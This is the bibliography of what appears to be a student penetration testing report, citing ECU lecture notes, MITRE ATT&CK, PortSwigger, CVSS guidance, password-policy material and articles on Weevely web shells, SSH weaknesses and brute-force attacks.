Bitwarden. (2023). *Password Generator*. https://bitwarden.com/password-generator/

The MITRE Corporation. (2023). *Unsecured Credentials: Bash History*. <https://attack.mitre.org/techniques/T1552/003/>

Collins, J. (n.d), CSL2108 *Introduction to hash functions: Module 8* [Lecture notes]. Canvas. <https://courses.ecu.edu.au/>

Fisher, T. (2022). *Operating System (OS) Definition & Examples*. https://www.lifewire.com/operating-systems-2625912

Frost. (n.d.). *How to Generate a PHP Backdoor using Weevely*. https://infosecwriteups.com/how-to-generate-a-php-backdoor-using-weevely-5c1dda909b79

Gavin, B. (2018). *What Is a PHP File (And How Do I Open One)?* https://www.howtogeek.com/369069/what-is-a-php-file-and-how-do-i-open-one/

Hearn, M. (n.d.). *USE A PASSPHRASE*. https://www.useapassphrase.com/

Heddings, A. (2020). *What is a Cron Job, and How Do You Use Them?* https://www.howtogeek.com/devops/what-is-a-cron-job-and-how-do-you-use-them/

Hernandez, A. (2022). *Most Common SSH Vulnerabilities & How to Avoid Them*. https://venafi.com/blog/most-common-ssh-vulnerabilities-how-to-avoid-them/

Mossé Cyber Security Institute. (2022). *Example of a penetration testing report executive summary*. https://mcsi-library.readthedocs.io/articles/2022/02/example-of-a-penetration-testing-report-executive-summary/example-of-a-penetration-testing-report-executive-summary.html

Kanishka10. (2016, July 4.). *Upload shell to hack a website : Part3 – Weevely*. https://www.hackercoolmagazine.com/upload-shell-to-hack-a-website-part3-weevely/

Kaspersky. (2023). *Brute Force Attack: Definition and Examples*. https://www.kaspersky.com/resource-center/definitions/brute-force-attack

London, U. C. (2023). *What is SSH and how do I use it?* https://www.ucl.ac.uk/isd/what-ssh-and-how-do-i-use-it

Microsoft. (2012). *AD DS Fine-Grained Password and Account Lockout Policy Step-by-Step Guide*. https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770842(v=ws.10)#scenario-overview

Microsoft. (2023). *Password Policy*. https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-policy

Leonardus, N. (2023). *What Is Bash?* <https://www.hostinger.com/tutorials/bash-scripting-tutorial#What_Is_Bash>

O’Shea, B. (n.d), CSL3208 *Introduction to hacking: Module 2* [Lecture notes]. Canvas. <https://courses.ecu.edu.au/>

Pinola, M. (2016, March 3.). *The Top 10 Usernames and Passwords Hackers Try to Get into Remote Computers*. https://lifehacker.com/the-top-10-usernames-and-passwords-hackers-try-to-get-i-1762638243

Portswigger. (2023). *File upload vulnerabilities*. https://portswigger.net/web-security/file-upload

Portswigger. (2023). *Getting started with Burp Suite*. https://portswigger.net/burp/documentation/desktop/getting-started

Poston, H. (2019, November 19.). *MITRE ATT&CK vulnerability spotlight: Bash history*. https://resources.infosecinstitute.com/topic/mitre-attck-vulnerability-spotlight-bash-history/

Prichici, G. (2023). *File Upload Protection – 10 Best Practices for Preventing Cyber Attacks*. https://www.opswat.com/blog/file-upload-protection-best-practices

Forum of Incident Response and Security Teams. (2023). *Common Vulnerability Scoring System SIG*. https://www.first.org/cvss/

Forum of Incident Response and Security Teams. (2023). *Common Vulnerability Scoring System Version 3.1 Calculator*. https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

Forum of Incident Response and Security Teams. (2023). *Common Vulnerability Scoring System version 3.1 User Guide Revision 1*. https://www.first.org/cvss/v3-1/cvss-v31-user-guide\_r1.pdf

Forum of Incident Response and Security Teams. (2023). *Common Vulnerability Scoring System version 3.1: Specification Document*. <https://www.first.org/cvss/specification-document>

Weidman, G., & Eeckhoutte, P. V. (2014). *Penetration testing : a hands-on introduction to hacking*. No Starch Press. Retrieved March 14, 2023, from https://ecu.on.worldcat.org/oclc/891400227.